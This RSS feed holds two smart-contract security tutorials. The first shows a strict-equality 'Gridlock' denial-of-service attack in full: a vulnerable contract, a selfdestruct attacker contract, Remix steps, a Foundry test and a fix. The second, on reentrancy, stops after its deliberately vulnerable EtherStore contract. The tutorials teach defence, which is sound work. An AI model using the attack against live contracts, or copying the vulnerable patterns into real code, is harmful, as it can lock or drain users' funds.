<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jason Schwarz</title>
    <description>The latest articles on DEV Community by Jason Schwarz (@passandscore).</description>
    <link>https://dev.to/passandscore</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F619113%2Fb9a02f97-ceb2-4ef7-af76-2d4a9e3a3c07.png</url>
      <title>DEV Community: Jason Schwarz</title>
      <link>https://dev.to/passandscore</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/passandscore"/>
    <language>en</language>
    <item>
      <title>Exploiting Smart Contracts - Strict Equality</title>
      <dc:creator>Jason Schwarz</dc:creator>
      <pubDate>Mon, 15 Jul 2024 11:55:10 +0000</pubDate>
      <link>https://dev.to/passandscore/exploiting-smart-contracts-strict-equality-12oj</link>
      <guid>https://dev.to/passandscore/exploiting-smart-contracts-strict-equality-12oj</guid>
      <description>&lt;p&gt;This guide covers the &lt;strong&gt;dangerous-strict-equalities&lt;/strong&gt; attack vector, providing detailed setup instructions, code examples, execution steps, and crucial mitigation strategies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;A notable moment in the history of this vulnerability occurred on July 1st, 2019. On this date, a denial-of-service (DoS) vulnerability known as &lt;strong&gt;"Gridlock"&lt;/strong&gt; was disclosed. This bug was discovered in an Ethereum smart contract deployed on &lt;a href="https://www.edgeware.io/" rel="noopener noreferrer"&gt;Edgeware&lt;/a&gt;, which managed up to $900 million worth of Ether.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Acknowledgment:&lt;/strong&gt; Edgeware promptly &lt;a href="https://blog.edgewa.re/a-denial-of-service-bug-in-the-edgeware-lockdrop/" rel="noopener noreferrer"&gt;acknowledged&lt;/a&gt; the bug.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resolution:&lt;/strong&gt; They addressed it in a &lt;a href="https://github.com/hicommonwealth/edgeware-lockdrop/commit/6c5692d9d85cf1ab141bd8aec99e5dc3e971efef#diff-78e7ad2bab2abfef7a42387cf9e5b336R65" rel="noopener noreferrer"&gt;commit&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For an in-depth understanding, I highly recommend reading the linked report, which offers an excellent explanation of this attack vector.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding the Dangerous Strict Equalities Vector
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;dangerous-strict-equalities&lt;/strong&gt; vector demonstrates how seemingly minor issues can lead to significant risks. By incorporating strict equality (&lt;code&gt;==&lt;/code&gt;) within an &lt;code&gt;assert&lt;/code&gt; statement, a contract can become vulnerable to a denial-of-service attack like "Gridlock."&lt;/p&gt;

&lt;h2&gt;
  
  
  Example Code
&lt;/h2&gt;

&lt;p&gt;You can find the code for demonstration purposes &lt;a href="https://github.com/passandscore/smart-contracts/blob/main/hacks-by-example/strict-equality/src/StrictEquality.sol" rel="noopener noreferrer"&gt;here&lt;/a&gt;. Feel free to ⭐️ the repository to bookmark it for future reference.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;The Vulnerable Contract&lt;/strong&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract VulnerableContract {

    uint256 private totalDeposited;

    function deposit() external payable {
        require(msg.value &amp;gt; 0, "Deposit amount must be greater than zero");

        totalDeposited += msg.value;
    }

    function withdrawAll() external {
        assert(address(this).balance == totalDeposited);

        totalDeposited = 0;    
        payable(msg.sender).transfer(address(this).balance);
    }


    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getTotalDeposited() external view returns (uint256) {
        return totalDeposited;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Above, we have the &lt;code&gt;VulnerableContract&lt;/code&gt;, which permits depositing and withdrawing funds. &lt;strong&gt;Note:&lt;/strong&gt; This contract is for educational purposes only and has not been audited. It is not suitable for production use.&lt;/p&gt;

&lt;p&gt;With that in mind, let’s continue.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Challenge
&lt;/h2&gt;

&lt;p&gt;In this section, we will play the role of an attacker and intentionally attempt to gridlock the &lt;code&gt;VulnerableContract&lt;/code&gt;. You succeed if, after your attack, the funds are no longer able to be withdrawn.&lt;/p&gt;

&lt;p&gt;If you feel confident, pause here and try to exploit the contract based on the information provided above.&lt;/p&gt;

&lt;p&gt;For those who need more guidance, let's delve deeper into the details.&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;How the Attack Works&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;To gridlock the &lt;code&gt;VulnerableContract&lt;/code&gt;, our goal is to force it to accept Ether in a way that disrupts its normal operation. Here are two common methods to achieve this:&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;1. Fallback Function&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;If the contract has a payable fallback function (&lt;code&gt;receive() external payable&lt;/code&gt;), you can send Ether directly to the contract's address, triggering this function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker {
    address payable vulnerableContract = 0x123...

    // Send Ether directly to the VulnerableContract
    function forceSendEther() external payable {
        // Send Ether to the contract address
        vulnerableContract.transfer(msg.value);
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;2. Payable Function&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;If the contract has a specific payable function that accepts Ether, you can call this function and send Ether along with the transaction.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attacker {
    address payable vulnerableContract = 0x123...;

    // Call a payable function on the VulnerableContract
    function forceSendEther() external payable {
        // Call the payable function with Ether
        (bool success, ) = vulnerableContract.call{value: msg.value}("");
        require(success, "Failed to send Ether");
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, our &lt;code&gt;VulnerableContract&lt;/code&gt; lacks a fallback function. Although the &lt;code&gt;deposit&lt;/code&gt; function is marked as payable, it cannot be used for our attack. This is because the contract updates both its balance and the &lt;code&gt;totalDeposited&lt;/code&gt; state variable during the execution of the &lt;code&gt;deposit&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;To successfully gridlock this contract, we need to create a mismatch between the contract’s balance and its &lt;code&gt;totalDeposited&lt;/code&gt; value. We will achieve this using a method called &lt;code&gt;selfdestruct&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is &lt;code&gt;selfdestruct&lt;/code&gt;?
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;selfdestruct(address payable recipient)&lt;/code&gt; function in Solidity performs the following actions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Immediate Ether Transfer&lt;/strong&gt;: It transfers the contract’s remaining Ether balance directly to the specified &lt;code&gt;recipient&lt;/code&gt; address.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Irreversibility&lt;/strong&gt;: Once invoked, &lt;code&gt;selfdestruct&lt;/code&gt; permanently removes the contract, including all associated bytecode and state, from the blockchain. The contract cannot be restored or reactivated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Storage Clearance&lt;/strong&gt;: The contract’s storage is cleared, which helps free up space on the blockchain and reduces the cost of future transactions involving the destroyed contract address.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gas Refund&lt;/strong&gt;: It refunds a portion of the gas used for the transaction, incentivizing the removal of contracts that are no longer in use.&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning: "selfdestruct" has been deprecated. Note that, starting from the Cancun hard fork, the underlying opcode no longer deletes the code and data associated with an account and only transfers its Ether to the beneficiary, unless executed in the same transaction in which the contract was created&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9wua55lai4sp17ryy33.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9wua55lai4sp17ryy33.jpg" width="800" height="566"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Attack Contract Code&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The attack contract is designed to exploit the target contracts vulnerability:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attack {
    VulnerableContract public target;

    constructor(address _target) {
        target = VulnerableContract(_target);
    }

    receive() external payable { }

    function attack() external payable {
        selfdestruct(payable(address(target)));
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Attack Steps and Explanation
&lt;/h3&gt;

&lt;h3&gt;
  
  
  1. Deploy the &lt;code&gt;Attack&lt;/code&gt; Contract
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step&lt;/strong&gt;: Deploy the &lt;code&gt;Attack&lt;/code&gt; contract and provide the &lt;code&gt;Target&lt;/code&gt; contract's address to its constructor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Purpose&lt;/strong&gt;: To enable the &lt;code&gt;Attack&lt;/code&gt; contract to interact with the &lt;code&gt;Target&lt;/code&gt; contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Perform the Attack
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step&lt;/strong&gt;: Call the &lt;code&gt;attack&lt;/code&gt; function with a transaction value of 1 wei.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code&lt;/strong&gt;: &lt;code&gt;selfdestruct(payable(address(target)));&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Purpose&lt;/strong&gt;: To send Ether directly to the &lt;code&gt;Target&lt;/code&gt; contract without invoking any specific function.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Verify the Target Contract's Balance
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step&lt;/strong&gt;: Call the &lt;code&gt;getBalance&lt;/code&gt; and &lt;code&gt;getTotalDeposited&lt;/code&gt; functions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Purpose&lt;/strong&gt;: To confirm that the balance of the &lt;code&gt;Target&lt;/code&gt; contract differs from its internal &lt;code&gt;totalDeposited&lt;/code&gt; state, indicating a successful attack.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Attempt to Withdraw Funds
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step&lt;/strong&gt;: Call the &lt;code&gt;withdrawAll&lt;/code&gt; function of the &lt;code&gt;Target&lt;/code&gt; contract.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code&lt;/strong&gt;: &lt;code&gt;target.withdrawAll();&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Purpose&lt;/strong&gt;: To verify whether the &lt;code&gt;Target&lt;/code&gt; contract's funds have been gridlocked, making withdrawal impossible.&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  Try It on Remix
&lt;/h1&gt;

&lt;p&gt;Deploy and interact with the contracts on &lt;a href="https://remix.ethereum.org/" rel="noopener noreferrer"&gt;Remix IDE&lt;/a&gt; to observe how the strict equality attack works in practice. You can use this direct link to load the code into Remix: &lt;a href="https://remix.ethereum.org/#url=https://github.com/passandscore/web3-blogs/blob/main/blog-data/8/src/StrictEquality.sol" rel="noopener noreferrer"&gt;Load on Remix&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target Contract Deployment:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use a dedicated wallet and deploy the &lt;code&gt;VulnerableContract&lt;/code&gt; contract.&lt;/li&gt;
&lt;li&gt;Deposit 50 ETH using the deposit method.&lt;/li&gt;
&lt;li&gt;Verify the contract balance is 50 ETH.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5td4443q52a5dl6xjkak.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5td4443q52a5dl6xjkak.jpg" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Contract Deployment:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Copy the address of the &lt;code&gt;VulnerableContract&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Set msg.value to 1 wei&lt;/li&gt;
&lt;li&gt;Use a dedicated wallet and deploy the &lt;code&gt;Attack&lt;/code&gt; contract passing in the parameter.&lt;/li&gt;
&lt;li&gt;Call the &lt;code&gt;attack&lt;/code&gt; method.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapw09rvxkvxbrk4zxh32.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fapw09rvxkvxbrk4zxh32.jpg" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confirm the results&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check the contract balance with  &lt;code&gt;getbalance&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;Check the value of &lt;code&gt;totalDeposited&lt;/code&gt; with &lt;code&gt;getTotalDeposited&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Ensure that a mismatch is present&lt;/li&gt;
&lt;li&gt;Attempt to withdraw all the funds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37ojo2ng3xu1d7wedkwq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F37ojo2ng3xu1d7wedkwq.jpg" width="800" height="379"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqh1mvy4xiktu38h3unf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqh1mvy4xiktu38h3unf.png" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Running Unit Tests
&lt;/h2&gt;

&lt;p&gt;If Remix isn't your preferred tool, you can achieve the same results by running the tests using &lt;a href="https://book.getfoundry.sh/" rel="noopener noreferrer"&gt;Foundry.&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "forge-std/Test.sol";
import {VulnerableContract, Attack} from "../src/StrictEquality.sol";

contract VulnerableContractTest is Test {
    VulnerableContract private vulnerableContract;
    Attack private attackContract;

    function setUp() public {
        vulnerableContract = new VulnerableContract();
        attackContract = new Attack(address(vulnerableContract));
    }


    function testAttack() public {
        // Deposit 1 Ether to the VulnerableContract
        uint256 initialDeposit = 1 ether;
        vm.deal(address(this), initialDeposit);
        vulnerableContract.deposit{value: initialDeposit}();

        // Check initial balances
        assertEq(vulnerableContract.getBalance(), initialDeposit);
        assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);

        // Fund the Attack contract
        uint256 attackFunds = 1 ether;
        vm.deal(address(attackContract), attackFunds);

        // Verify that the Attack contract has the correct balance
        assertEq(address(attackContract).balance, attackFunds);

        attackContract.attack();

          // VulnerableContract now has 2 Ether, 
          // but totalDeposited is still 1 Ether
        assertEq(vulnerableContract.getBalance(), initialDeposit + attackFunds);
        assertEq(vulnerableContract.getTotalDeposited(), initialDeposit);

        // Attempt to withdraw all funds (should fail)
        vm.expectRevert();
        vulnerableContract.withdrawAll();
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Follow these steps:
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Install Foundry&lt;/strong&gt;: If you don't have Foundry installed, follow the &lt;a href="https://book.getfoundry.sh/getting-started/installation" rel="noopener noreferrer"&gt;installation guide&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/passandscore/web3-blogs.git
&lt;span class="nb"&gt;cd &lt;/span&gt;blog-data/8
forge build
forge &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;-vvvv&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We utilize the &lt;code&gt;-vvvv&lt;/code&gt; flag to significantly increase verbosity in log traces, which is crucial for thoroughly examining and verifying the success of our attack. While navigating through these detailed logs may appear challenging at first, engaging with this practice is highly beneficial.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbyx4rzoiwng4mvrlaqdk.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbyx4rzoiwng4mvrlaqdk.jpg" alt="Image description" width="800" height="508"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;Mitigation Measures&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;To protect yourself from this attack vector, due diligence in incorporating strict equalities is essential. In our example, we can address the issue by implementing the same approach that Edgeware used: replacing the strict equality check with &lt;code&gt;&amp;gt;=&lt;/code&gt; (greater than or equal to). This adjustment helps prevent gridlock and ensures the safety of user funds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2sjp82q503cyctk8frjw.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2sjp82q503cyctk8frjw.jpg" alt="Edgware Resolution Commit" width="800" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As demonstrated, it is possible to create unit tests to detect this attack vector, but this requires advanced techniques. Often, unit test coverage might be insufficient because exploits tend to introduce edge cases that may not have been considered. Therefore, it is crucial to ensure that all code intended for deployment undergoes a comprehensive audit by a reputable security firm. Proper auditing helps identify vulnerabilities and ensures the robustness of your smart contracts against potential attacks.&lt;/p&gt;




&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;Congratulations on reaching this point! Armed with this knowledge, you now have the tools to identify and defend against strict-equality attacks.&lt;/p&gt;

&lt;p&gt;This tutorial has demonstrated the mechanics of a strict-equality attack by exploiting the vulnerability in the &lt;code&gt;VulnerableContract&lt;/code&gt;. It underscores the critical importance of secure coding practices and emphasizes the necessity of both comprehensive unit tests and thorough security audits to safeguard smart contracts against such vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.edgeware.io/" rel="noopener noreferrer"&gt;Edgeware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.edgewa.re/a-denial-of-service-bug-in-the-edgeware-lockdrop/" rel="noopener noreferrer"&gt;Edgeware Vulnerability Acknowledgment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/hicommonwealth/edgeware-lockdrop/commit/6c5692d9d85cf1ab141bd8aec99e5dc3e971efef#diff-78e7ad2bab2abfef7a42387cf9e5b336R65" rel="noopener noreferrer"&gt;Edgeware Vulnerability Resolution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/passandscore/web3-blogs/blob/main/blog-data/8/src/StrictEquality.sol" rel="noopener noreferrer"&gt;Demo Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://remix.ethereum.org/" rel="noopener noreferrer"&gt;Remix IDE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://remix.ethereum.org/#url=https://github.com/passandscore/web3-blogs/blob/main/blog-data/8/src/StrictEquality.sol" rel="noopener noreferrer"&gt;Remix IDE - With Demo Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://book.getfoundry.sh/" rel="noopener noreferrer"&gt;Foundry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Connect with me on social media:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://x.com/passandscore" rel="noopener noreferrer"&gt;X&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/passandscore" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/jason-schwarz-75b91482/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>exploit</category>
      <category>solidity</category>
    </item>
    <item>
      <title>Exploiting Smart Contracts - Performing Reentrancy Attacks in Solidity</title>
      <dc:creator>Jason Schwarz</dc:creator>
      <pubDate>Mon, 24 Jun 2024 20:52:53 +0000</pubDate>
      <link>https://dev.to/passandscore/exploiting-smart-contracts-understanding-and-performing-reentrancy-attacks-in-solidity-40df</link>
      <guid>https://dev.to/passandscore/exploiting-smart-contracts-understanding-and-performing-reentrancy-attacks-in-solidity-40df</guid>
      <description>&lt;p&gt;In this tutorial, we demonstrate how to create a reentrancy exploit in Solidity, including detailed setup, code examples, and execution steps, followed by essential mitigation strategies&lt;/p&gt;

&lt;h3&gt;
  
  
  Introduction
&lt;/h3&gt;

&lt;p&gt;Among all attack vectors in blockchain security, reentrancy stands out as particularly significant. One of the most notable incidents involving reentrancy was the 2016 DAO hack, in which $60 million worth of Ether was stolen. This event prompted a hard fork of the Ethereum blockchain to recover the stolen funds, resulting in the creation of two distinct blockchains: Ethereum and Ethereum Classic.&lt;/p&gt;

&lt;p&gt;In the aftermath, numerous resources and tools have been developed to prevent reentrancy vulnerabilities. Despite these efforts, modern smart contracts are still being deployed with this critical flaw. Thus, reentrancy remains a persistent threat.&lt;/p&gt;

&lt;p&gt;For a comprehensive historical record of reentrancy attacks, refer to this &lt;a href="https://github.com/passandscore/web3-blogs/blob/main/blog-data/7/contract.sol" rel="noopener noreferrer"&gt;GitHub repository&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Reentrancy Explained&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;In this tutorial, we'll simulate a reentrancy attack on the &lt;code&gt;EtherStore&lt;/code&gt; contract. You can view the code &lt;a href="https://github.com/passandscore/smart-contracts/blob/main/hacks-by-example/reentrancy/reentrancy.sol" rel="noopener noreferrer"&gt;here&lt;/a&gt;. A reentrancy attack occurs when an attacker repeatedly calls a vulnerable function before the initial call completes, exploiting the contract's operation sequence to deplete its funds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx02b1deossvcxlmy06sf.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx02b1deossvcxlmy06sf.jpg" alt="Injection Point" width="800" height="328"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpypwhb15ajmsb3yi41yl.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpypwhb15ajmsb3yi41yl.jpg" alt="Reentrancy Process" width="800" height="634"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The above example illustrates the sequence of operations taken by an attacker, including the balance columns tracking the current balance of each contract after each action has been executed.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;The Vulnerable Contract&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;EtherStore&lt;/code&gt; contract allows users to deposit and withdraw ETH but contains a reentrancy vulnerability. This vulnerability exists because the user's balance is updated &lt;strong&gt;after&lt;/strong&gt; transferring ETH, allowing an attacker to withdraw more funds than initially deposited.&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/**
 * @title EtherStore
 * @dev A simple contract for depositing and withdrawing ETH.
 * Vulnerable to reentrancy attacks.
 */
contract EtherStore {
    mapping(address =&amp;gt; uint256) public balances;

    /**
     * @notice Deposit Ether into the contract
     */
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    /**
     * @notice Withdraw the sender's balance
     */
    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal &amp;gt; 0, "Insufficient balance");

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    /**
     * @notice Get the total balance of the contract
     * @return The balance of the contract in wei
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;How the Attack Works&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;By injecting malicious code into the &lt;code&gt;EtherStore&lt;/code&gt; contract's execution flow, specifically targeting the withdrawal process, an attacker can exploit the timing of the balance update. Here’s a step-by-step breakdown:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Initial Withdrawal Call&lt;/strong&gt;: The attacker initiates a withdrawal from their balance in the &lt;code&gt;EtherStore&lt;/code&gt; contract.&lt;/li&gt;
&lt;li&gt;
